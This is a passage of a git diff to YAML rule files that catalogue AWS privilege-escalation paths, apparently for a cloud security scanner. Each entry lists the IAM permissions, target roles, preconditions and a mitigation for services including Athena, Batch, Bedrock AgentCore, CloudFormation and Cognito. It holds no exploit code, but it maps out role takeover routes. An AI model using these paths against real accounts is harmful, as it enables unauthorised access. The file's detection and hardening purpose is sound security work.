{account} + outcome: workload_execution + preconditions: + - athena_existing_spark_connect_role + conditions: + - id: session_stays_active + description: The session must remain active and the endpoint token must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit GetSessionEndpoint to approved session operators and keep Spark session execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSessionEndpoint.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-connect.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_athena.html + notes: The evaluator joins the exact session role and requires active Apache Spark version 3.5 plus GetSessionEndpoint on the workgroup and session ARNs. It never requests or stores the endpoint token. + +- id: aws-athena-createpresignednotebookurl + provider: aws + service: athena + title: Open an existing Athena Spark notebook + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreatepresignednotebookurl--take-over-a-running-spark-notebook + source_revision: 171e422299 + summary: A caller who can mint a notebook URL for an active PySpark 3 notebook session may use its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark notebooks in {account} + outcome: workload_execution + preconditions: + - athena_existing_notebook_url_role + conditions: + - id: notebook_stays_active + description: The notebook session must remain active and the URL must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit CreatePresignedNotebookUrl to approved notebook operators and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreatePresignedNotebookUrl.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator requires the exact session role, an active PySpark 3 session with NotebookVersion, and CreatePresignedNotebookUrl on its workgroup ARN. It never requests or stores the notebook token. + - id: aws-athena-passrole-createworkgroup-spark provider: aws service: athena diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml index 10bb023cf7..20badd6115 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml @@ -7,6 +7,39 @@ # AWS Batch privilege escalation techniques. # Source: hacktricks-cloud aws-batch-privesc/README.md. +- id: aws-batch-submitjob-existing-definition + provider: aws + service: batch + title: Submit a command through an existing Batch job role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchsubmitjob + source_revision: 6fb9ac51fd + summary: A caller who can submit a command override for an active EC2 job definition may run that command with its recorded job role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: Job roles of existing Batch definitions in {account} + outcome: workload_execution + preconditions: + - batch_existing_definition_submitjob_role + conditions: + - id: runnable_container + description: The image must start on the selected EC2 queue and provide a command that can use the job role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit SubmitJob to trusted callers on both approved queues and exact job definition revisions, and keep job roles least privileged. + references: + - https://docs.aws.amazon.com/batch/latest/APIReference/API_SubmitJob.html + - https://docs.aws.amazon.com/batch/latest/userguide/iam-example-restrict-job-submission.html + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + notes: The evaluator uses the recorded active definition revision, exact jobRoleArn and a valid enabled EC2 queue. It requires SubmitJob on both resource ARNs; PassRole is only checked when a definition is registered, not at submission. + - id: aws-batch-registerjobdefinition-passrole-submitjob provider: aws service: batch diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml index 09f5306bd1..85ed5e4b62 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml @@ -11,7 +11,7 @@ provider: aws service: bedrock title: Create an AgentCore Code Interpreter with a passed execution role and run code in it - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--code-execution-sandbox-as-a-role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role source_revision: 6fb9ac51fd summary: The source can obtain the privileges of passable roles trusting bedrock-agentcore.amazonaws.com by creating a Code Interpreter with that execution role and invoking it. @@ -50,8 +50,40 @@ severity: critical mitigation: Restrict iam:PassRole for AgentCore execution roles and bedrock-agentcore:CreateCodeInterpreter. references: [] - notes: CreateBrowser with InvokeBrowser is an equivalent sandbox path under the same execution role; it is not - modelled separately. + notes: CreateBrowser and InvokeBrowser need a separate browser-action proof; they do not establish arbitrary + code execution through the Code Interpreter path. + +- id: aws-bedrock-agentcore-codeinterpreter-existing + provider: aws + service: bedrock + title: Run code through an existing AgentCore Code Interpreter role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: eb763dbd71 + summary: The source can run code in one ready Code Interpreter whose recorded execution role is the target role. + requires: + all_of: + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: '{target.attached_resource_arn}' + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: '{target.attached_resource_arn}' + target: + kind: aws_role + selector: + attached_to_service: bedrock-agentcore-code-interpreter + attached_resource_covered_by: bedrock-agentcore:StartCodeInterpreterSession + scope: same_account + aggregate_as: Roles attached to invokable AgentCore Code Interpreters in {account} + outcome: workload_execution + preconditions: + - agentcore_existing_code_interpreter_role_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit Code Interpreter session and invoke grants to interpreters with appropriately scoped execution roles. + references: + - https://docs.aws.amazon.com/bedrock-agentcore-control/latest/APIReference/API_GetCodeInterpreter.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html - id: aws-bedrock-agent-lambda-actiongroup-hijack @@ -67,6 +99,8 @@ resource: "{target.attached_resource_arn}" - action: bedrock:InvokeAgent resource: "*" + preconditions: + - bedrock_agent_actiongroup_lambda_execution_unverified target: kind: aws_role selector: @@ -76,7 +110,7 @@ aggregate_as: "Execution roles of Lambda functions behind Bedrock agent action groups in {account}" conditions: - id: function_is_action_group - description: The covered function must be the executor of an action group of a Bedrock agent alias that the source can invoke (bedrock:InvokeAgent Resource is the agent-alias ARN). + description: The covered, unqualified Lambda function must be the enabled executor of an action group on a ready Bedrock agent alias that the source can invoke (bedrock:InvokeAgent Resource is the agent-alias ARN). blockers: - scp_or_boundary_deny confidence: conditional @@ -84,7 +118,7 @@ mitigation: Restrict lambda:UpdateFunctionCode on agent tool functions and keep their execution roles least-privileged. references: - https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_AgentActionGroup.html - notes: Alternative trigger to lambda:InvokeFunction; the generic UpdateFunctionCode technique is in lambda.yaml (part B). + notes: Alternative trigger to lambda:InvokeFunction; the generic UpdateFunctionCode technique is in lambda.yaml (part B). Updating function code changes $LATEST, not an immutable published Lambda version. A role edge needs the exact unqualified function ARN, its current code hash and execution role, a ready invocable agent alias and routed version, an enabled action group using that function, Bedrock permission to invoke it, and a fresh witnessed invocation that performs a useful role action. Missing or disjoint facts remain unknown. - id: aws-bedrock-agentcore-createharness-passrole provider: aws @@ -97,39 +131,39 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com - action: bedrock-agentcore:CreateHarness resource: "*" - action: bedrock-agentcore:CreateAgentRuntime resource: "*" - - action: bedrock-agentcore:CreateAgentRuntimeEndpoint - resource: "*" - - action: bedrock-agentcore:InvokeAgentRuntimeCommand - resource: "*" - - action: bedrock-agentcore:InvokeAgentRuntime + - action: bedrock-agentcore:CreateMemory resource: "*" target: kind: aws_role selector: trust_allows_service: bedrock-agentcore.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - agentcore_new_harness_generated_scope_and_role_ready conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - - id: composite_create_permissions - description: Harness creation also needs CreateWorkloadIdentity, GetAgentRuntime and related read actions; CreateMemory may be needed depending on configuration. - - id: runtime_identity_slr - description: The account must already have the AWSServiceRoleForBedrockAgentCoreRuntimeIdentity service-linked role, or the source must be able to create it. + - id: harness_ready + description: The harness and its managed runtime must reach READY under the passed role before a command can run. + - id: active_session + description: The command must use an active session of the same harness. + - id: managed_image_ready + description: The execution role must be able to start the managed image and access any configured memory. blockers: - scp_or_boundary_deny confidence: conditional severity: critical mitigation: Scope iam:PassRole to dedicated low-privilege AgentCore roles with iam:PassedToService=bedrock-agentcore.amazonaws.com and deny bedrock-agentcore:InvokeAgentRuntimeCommand unless direct shell access is required. references: - - https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-permissions.html - notes: Composite operation; only the core actions are modelled and the remaining provisioning actions are a condition. + - https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + notes: CreateHarness, CreateAgentRuntime and CreateMemory are account-level actions. GetMemory and InvokeHarness/InvokeAgentRuntime/InvokeAgentRuntimeCommand are checked by the precondition against future harness resources. A custom endpoint is optional and needs separate CreateHarnessEndpoint/CreateAgentRuntimeEndpoint permissions. A concrete role edge requires fresh reviewed evidence that a READY harness using the exact role ran a command in an active session and performed a useful action unavailable directly to the caller; without that evidence the route remains unresolved. - id: aws-bedrock-agentcore-createagentruntime-passrole provider: aws @@ -142,25 +176,28 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com - action: bedrock-agentcore:CreateAgentRuntime resource: "*" - - action: bedrock-agentcore:CreateAgentRuntimeEndpoint - resource: "*" - action: bedrock-agentcore:InvokeAgentRuntime - resource: "*" + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* target: kind: aws_role selector: trust_allows_service: bedrock-agentcore.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - agentcore_new_runtime_generated_scope_and_role_ready conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - id: artifact_pullable - description: The container image or code package must be retrievable by the service under the passed role. + description: The replacement container or code package must be caller controlled, retrievable by the service, and implement the runtime protocol. + - id: runtime_and_endpoint_ready + description: The new runtime and DEFAULT endpoint must reach READY before code can be invoked. blockers: - scp_or_boundary_deny confidence: conditional @@ -168,36 +205,41 @@ mitigation: Scope iam:PassRole for bedrock-agentcore.amazonaws.com roles, restrict runtime creation to the deployment pipeline and allow only approved registries. references: - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_CreateAgentRuntime.html - notes: The aws-bedrock-privesc page describes the same technique; it is sourced here at the AgentCore page. + notes: Generated runtime IDs have a service-chosen ten-character suffix. CreateAgentRuntime automatically creates the DEFAULT endpoint; a separate CreateAgentRuntimeEndpoint grant is not required. The precondition checks one fresh name and generated suffix scope covered by InvokeAgentRuntime, PassRole and trust grants. A concrete role edge requires fresh reviewed evidence that a controlled, pullable artifact ran under this exact role in a READY runtime and DEFAULT endpoint, and performed a useful action unavailable directly to the caller. The aws-bedrock-privesc page describes the same technique. - id: aws-bedrock-agentcore-updateagentruntime-passrole provider: aws service: bedrock title: Repoint an existing AgentCore agent runtime to a passed role and invoke it - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--repoint-an-existing-resources-role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role source_revision: 171e422299 summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by updating an existing runtime's role and artifact and invoking it. requires: all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com - action: bedrock-agentcore:UpdateAgentRuntime - resource: "*" + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* - action: bedrock-agentcore:InvokeAgentRuntime - resource: "*" + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* target: kind: aws_role selector: trust_allows_service: bedrock-agentcore.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - agentcore_existing_runtime_update_and_invoke conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - - id: existing_runtime - description: An agent runtime must exist within the UpdateAgentRuntime and InvokeAgentRuntime Resource scope. + - id: executable_artifact + description: The replacement container or code package must be controlled by the caller, retrievable, and able to start before invocation. + - id: runtime_ready_after_update + description: The runtime update must succeed and its DEFAULT endpoint must serve the new version. blockers: - scp_or_boundary_deny confidence: conditional @@ -205,4 +247,4 @@ mitigation: Restrict bedrock-agentcore:UpdateAgentRuntime to the deployment pipeline, scope iam:PassRole for AgentCore roles and alert on role or image changes. references: - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_UpdateAgentRuntime.html - notes: UpdateGateway is not modelled because a gateway's role is only used by the service to call configured targets, not to run caller code. UpdateCodeInterpreter-style variants are covered by the create entries where they exist. + notes: Exact UpdateAgentRuntime, InvokeAgentRuntime on the runtime and DEFAULT endpoint, and associated-resource PassRole are checked by the precondition against collected resources. A concrete role edge also requires fresh reviewed evidence that a controlled replacement artifact reached the current READY version, a new session invoked DEFAULT, and the exact role performed a useful action unavailable directly to the caller. Existing sessions may keep an older version. UpdateGateway needs a separate configured target-action proof. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml index 455e26ca54..086cb7663a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml @@ -21,8 +21,6 @@ resource: '{target.arn}' request_context: iam:PassedToService: braket.amazonaws.com - - action: braket:CreateJob - resource: '*' target: kind: aws_role selector: @@ -31,10 +29,11 @@ scope: same_account aggregate_as: Roles trusting braket.amazonaws.com passable in {account} outcome: workload_execution + preconditions: + - braket_createjob_device_authorized conditions: - id: controlled_job_code - description: The job algorithm script or container image must be one the source controls (S3 object or ECR image - it can write or read). + description: The source must write one script archive that the passed role can read, and the role must write the job output prefix. - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. blockers: @@ -44,4 +43,4 @@ mitigation: Restrict iam:PassRole on Braket job roles with iam:PassedToService and limit braket:CreateJob. references: - https://docs.aws.amazon.com/braket/latest/APIReference/API_CreateJob.html - notes: Reach is roles trusting braket.amazonaws.com in PassRole scope. + notes: CreateJob must authorize both an ONLINE SV1 simulator observed in the Region and the service-generated job ARN. The precondition joins those grants with exact PassRole, Braket service trust, a same-Region script archive writable by the source and readable by the role, and a complete output prefix writable by the role. Other devices and container-image routes remain unresolved. Job scheduling and successful execution remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml index ca636cf1d2..223f1b6d7b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml @@ -16,9 +16,8 @@ source_revision: 171e422299 summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. requires: - all_of: - - action: cloudformation:CreateResource - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_account_admin selector: @@ -43,4 +42,4 @@ - https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_CreateResource.html - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html - https://docs.aws.amazon.com/AWSCloudFormation/latest/TemplateReference/aws-resource-iam-user.html - notes: Cloud Control assumes a passable role through cloudformation.amazonaws.com. The evaluator requires the role to create, read, and give a console password and administrator policy to one new IAM user. Other Cloud Control resource types need their own permission and outcome checks. + notes: Cloud Control assumes a passable role through cloudformation.amazonaws.com. The evaluator requires CreateResource with global Resource scope and a role that can create, read, and give a console password and administrator policy to one new IAM user. A grant limited to an existing stack ARN does not authorize CreateResource. Other Cloud Control resource types need their own permission and outcome checks. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml index 5273b4319a..e57632388a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml @@ -43,7 +43,7 @@ mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. references: - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html - notes: The sub-page iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md describes the same edge (DescribeStacks only helps read outputs). Severity critical because CloudFormation service roles are frequently admin-equivalent. + notes: The sub-page iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md describes the same edge (DescribeStacks only helps read outputs). A concrete role edge requires fresh reviewed evidence that a caller-controlled template used this exact role for a successful useful operation that the caller could not perform directly. A passable role without that evidence remains unresolved. - id: aws-cloudformation-passrole-updatestack provider: aws @@ -80,7 +80,7 @@ severity: critical mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. references: [] - notes: Needs at least one existing stack covered by cloudformation:UpdateStack. + notes: Needs at least one existing stack covered by cloudformation:UpdateStack. A concrete role edge also requires fresh reviewed evidence on that same stack that a caller-controlled template used this exact role for a successful useful operation unavailable directly to the caller. - id: aws-cloudformation-updatestack-attached-role provider: aws @@ -189,7 +189,7 @@ severity: critical mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. references: [] - notes: A CREATE-type change set can create a new stack, so no existing stack is required. + notes: A CREATE-type change set can create a new stack, so no existing stack is required. A concrete role edge requires fresh reviewed evidence that the caller-controlled change set was executed and this exact role performed a successful useful operation unavailable directly to the caller. - id: aws-cloudformation-passrole-stackset provider: aws @@ -245,7 +245,7 @@ can pass). The target is an execution role that pivot can assume. For creation, the evaluator checks CreateStackSet with that administration role and CreateStackInstances on both the same generated StackSet ARN and a target-account ARN. For updates it requires a recorded SELF_MANAGED StackSet instance in the target account and UpdateStackSet on - that exact StackSet and target. The template''s actual effects remain conditional.' + that exact StackSet and target. A concrete execution-role edge requires fresh reviewed evidence that a caller-controlled deployment used this exact administration and execution role pair for a successful useful operation unavailable directly to the caller; otherwise the edge stays unresolved.' - id: aws-cloudformation-registertype-passrole-extension @@ -288,7 +288,7 @@ references: - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_RegisterType.html - https://docs.aws.amazon.com/cloudformation-cli/latest/userguide/resource-type-develop.html - notes: The evaluator requires PutObject and GetObject on the same object in a recorded S3 bucket, plus a bound CreateResource or stack operation. SetTypeConfiguration alone cannot invoke a Hook. Extension roles trust resources.cloudformation.amazonaws.com, not cloudformation.amazonaws.com; ActivateType of public extensions is separate because the source does not author that handler. + notes: The evaluator requires PutObject and GetObject on the same object in a recorded S3 bucket, plus a bound CreateResource or stack operation. A concrete role edge requires fresh reviewed evidence that the caller's package registered a private resource type and its handler ran a useful action under this exact execution role; without that evidence the route stays unresolved. SetTypeConfiguration alone cannot invoke a Hook. Extension roles trust resources.cloudformation.amazonaws.com, not cloudformation.amazonaws.com; ActivateType of public extensions is separate because the source does not author that handler. - id: aws-cloudformation-service-managed-stackset-org-members provider: aws @@ -330,4 +330,4 @@ references: - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-activate-trusted-access.html - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-delegated-admin.html - notes: Complements aws-cloudformation-passrole-stackset, which models self-managed StackSets. No iam:PassRole is involved. The evaluator requires recorded enabled Organizations access, the member account's OU, and CreateStackInstances permission on the same generated StackSet, its OU target and the IAM role resource type. Template effects and target-Region availability remain conditional. + notes: Complements aws-cloudformation-passrole-stackset, which models self-managed StackSets. No iam:PassRole is involved. The evaluator requires recorded enabled Organizations access, the member account's OU, and CreateStackInstances permission on the same generated StackSet, its OU target and the IAM role resource type. A concrete account-admin edge additionally requires fresh reviewed evidence of a successful deployment and usable administrator access through an exact recorded IAM principal in the member account. Otherwise the member-account route stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml index 47d4a58628..e11eebff3b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml @@ -10,11 +10,11 @@ - id: aws-cloudfront-lambda-edge-passrole provider: aws service: cloudfront - title: Associate a new Lambda@Edge function with a passed role to a distribution + title: Associate a new Lambda@Edge function with a passed role to a new or existing distribution source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#lambdacreatefunction-lambdapublishversion-iampassrole--cloudfrontupdatedistribution - source_revision: 6fb9ac51fd + source_revision: 41b7481234 summary: The source can obtain the privileges of passable roles trusting both lambda.amazonaws.com and edgelambda.amazonaws.com - by running a Lambda@Edge function it controls on a distribution it can update. + by running a Lambda@Edge function it controls on a distribution it can create or update. requires: all_of: - action: lambda:CreateFunction @@ -31,8 +31,6 @@ resource: '{target.arn}' request_context: iam:PassedToService: lambda.amazonaws.com - - action: cloudfront:UpdateDistribution - resource: '*' target: kind: aws_role selector: @@ -51,15 +49,17 @@ - id: us_east_1 description: The function must be created in us-east-1. - id: same_version_and_distribution - description: The Lambda actions must cover one new function and its numbered version, and the source must be able to update a distribution that will invoke it. + description: The Lambda actions must cover one new function and its numbered version, and the source must be able to create or update a distribution that will invoke it. blockers: - scp_or_boundary_deny confidence: conditional severity: critical - mitigation: Restrict iam:PassRole on Lambda@Edge roles and cloudfront:UpdateDistribution. + mitigation: Restrict iam:PassRole on Lambda@Edge roles and cloudfront:CreateDistribution / UpdateDistribution. references: - https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html notes: trust_allows_service given as a list means every listed principal must be trusted. Roles trusting only lambda.amazonaws.com are reachable through the generic Lambda PassRole technique (lambda.yaml) instead. The Lambda@Edge permissions page writes replication permissions with trailing wildcards; the concrete actions in the - Service Authorization Reference are lambda:EnableReplication and lambda:DisableReplication. + Service Authorization Reference are lambda:EnableReplication and lambda:DisableReplication. The precondition + checks cloudfront:CreateDistribution on * or cloudfront:UpdateDistribution on one exact recorded distribution; + a wildcard requirement on UpdateDistribution would miss permissions scoped to that distribution. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml index ec1c8fc61a..6f58bfaa8f 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml @@ -126,7 +126,7 @@ - codepipeline_existing_project_update_buildspec conditions: - id: pipeline_can_start_project - description: Configured sources must produce every build input, the action must use the project's buildspec, and the pipeline or action role must be able to start the exact project. Batch builds and build role overrides add requirements. + description: Earlier actions must actually produce every named build input, the build action must consume those inputs and use the changed project buildspec, and the pipeline or action role must be able to start the exact project. Batch builds and build role overrides add requirements. blockers: - scp_or_boundary_deny confidence: conditional @@ -134,4 +134,4 @@ mitigation: Restrict who can change buildspecs and start pipelines that use privileged CodeBuild roles. references: - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html - notes: The route uses an existing pipeline and project, so UpdatePipeline is unnecessary. AWS does not let a pipeline change its service role after creation. + notes: The route uses an existing pipeline and project, so UpdatePipeline is unnecessary. AWS does not let a pipeline change its service role after creation. A configured artifact name alone does not show that a source revision or earlier action can deliver it; reporting a role edge requires a fresh reviewed execution bound to the exact pipeline and project definitions, consumed input artifacts, changed buildspec and useful action under the CodeBuild role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml index 5a985443d0..ea01ce8d76 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml @@ -7,4 +7,155 @@ # AWS Cognito privilege escalation techniques. # Source: hacktricks-cloud aws-cognito-privesc/README.md. -[] +- id: aws-cognito-getopenidtokenfordeveloperidentity + provider: aws + service: cognito-identity + title: Obtain a developer identity pool's authenticated role credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: The source can mint a developer-authenticated identity token for an exact pool and exchange it for that pool's authenticated IAM role credentials. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_authenticated_role: true + scope: same_account + aggregate_as: "Authenticated roles of developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Grant GetOpenIdTokenForDeveloperIdentity only to the backend roles that verify users for each developer identity pool. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html + notes: The selector requires a collected developer provider, the pool's authenticated role, and role trust that admits the pool audience and authenticated Cognito method. Guest and rule-mapped roles are excluded. + +- id: aws-cognito-getopenidtokenfordeveloperidentity-classic + provider: aws + service: cognito-identity + title: Use a developer identity token with a trusted IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: A source that can mint a developer identity token for a pool with Basic authentication enabled can exchange it through STS for an IAM role that trusts that pool and authenticated method. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_classic_role: true + scope: any + aggregate_as: "Roles trusting classic developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict developer-token issuance to trusted backend identities and keep Basic authentication disabled unless the application needs it. + references: + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The pool must have AllowClassicFlow enabled. The selector verifies token-mint permission on that same pool and the target role's matching Cognito web-identity trust. Cross-account roles require explicit aud and amr trust conditions. + +- id: aws-cognito-setidentitypoolroles-developer-token + provider: aws + service: cognito-identity + title: Set an identity pool role and obtain its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: ad04436fdb + summary: A source that can set an identity pool's authenticated role, pass the target role and mint a developer token for that same pool can obtain the target role's credentials. + requires: + all_of: + - action: cognito-identity:SetIdentityPoolRoles + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cognito-identity.amazonaws.com + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_settable_authenticated_role: true + scope: same_account + aggregate_as: "Roles assignable to developer identity pools in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict SetIdentityPoolRoles and iam:PassRole to approved pool roles, and limit developer-token issuance to trusted backend identities. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_SetIdentityPoolRoles.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/role-based-access-control.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + notes: SetIdentityPoolRoles has no resource-level IAM scope. The selector still requires the source to own a collected developer pool, have token-mint permission on that exact pool, and choose a same-account role whose web-identity trust admits its authenticated developer token. Other token sources need separate proof. + +- id: aws-cognito-updateidentitypool-enable-classic-developer-token + provider: aws + service: cognito-identity + title: Enable Basic authentication and use a developer token + source: 